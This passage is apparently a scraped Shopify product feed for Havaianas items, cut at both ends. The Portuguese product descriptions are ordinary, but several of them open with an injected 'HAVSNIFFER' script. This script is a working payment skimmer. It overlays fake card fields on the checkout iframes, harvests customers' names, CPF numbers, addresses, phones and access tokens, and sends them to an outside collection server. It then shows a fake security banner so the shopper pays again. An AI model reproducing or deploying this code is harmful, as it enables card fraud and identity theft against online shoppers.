=document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003ePara quem procura praticidade e funcionalidade, o chinelo masculino Havaianas Track Waves é uma ótima opção.\u003c\/p\u003e \n\n\u003cp\u003eCom tiras largas e arredondadas e textura de ondas na sola, o chinelo traz ainda mais conforto para o seu dia a dia. Além disso, a sola tratorada garante maior aderência e segurança\u003c\/p\u003e\n\n\u003cp\u003eEscolha o modelo que mais combina com você.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Gelo \/ 39\/40","offer_id":45614293057793,"sku":"4149734_3498_390","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 35\/36","offer_id":45615713550593,"sku":"4149734_3498_356","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 37\/38","offer_id":45615713583361,"sku":"4149734_3498_378","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 41\/42","offer_id":45617752965377,"sku":"4149734_3498_412","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 43\/44","offer_id":45617752998145,"sku":"4149734_3498_434","price":59.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Gelo \/ 45\/46","offer_id":45617753030913,"sku":"4149734_3498_456","price":59.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149734-havaianas-track-waves-3498-0_d7ba56be-372b-45cd-ab1f-88ae28de93b2.jpg?v=1734127869"},{"product_id":"chaveiro-chinelo-havaianas-4110821-0128","title":"Chaveiro Chinelo Havaianas","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eSim, toda a irreverência das nossas sandálias agora pode estar literalmente nas mãos dos fãs da Havaianas! O já icônico chaveiro Havaianas, feito em PVC, é o acessório perfeito para quem quer ter uma de nossas peças junto à chave de casa, do carro, da gaveta do trabalho, ou até para decorar a it bag.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Branco \/ Único","offer_id":45614316552449,"sku":"4110821_0128_998","price":24.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4110821-chaveiro-havaianas-0128-0_86830e16-6de0-45aa-a6e6-1bbda59be7a0.jpg?v=1734127712"},{"product_id":"porta-fone-de-ouvido-havaianas-logo-4145430-0090","title":"Porta Fone de Ouvido Havaianas Logo","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eVocê é do tipo que sempre perde seus fones de ouvido por aí? Pois saiba que a Havaianas tem a solução para os seus problemas: uma bolsinha redonda e colorida que vai te salvar daqui para a frente. O Porta-Fone Havaianas Logo deixa seus fones bem guardados e a salvo, para que você não passe nunca mais pelo perrengue de encontrá-los enrolados nas hastes dos óculos de sol, na carteira, no fundo da mochila...\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Preto \/ Único","offer_id":45615332491521,"sku":"4145430_0090_998","price":49.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4145430-earphone-case-havaianas-logo-0090-0_02e6a8fe-dbc7-496a-ab7b-75abd2dfae56.jpg?v=1734127171"},{"product_id":"chinelo-havaianas-track-waves-4149734-0090","title":"Chinelo Havaianas Track Waves","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function 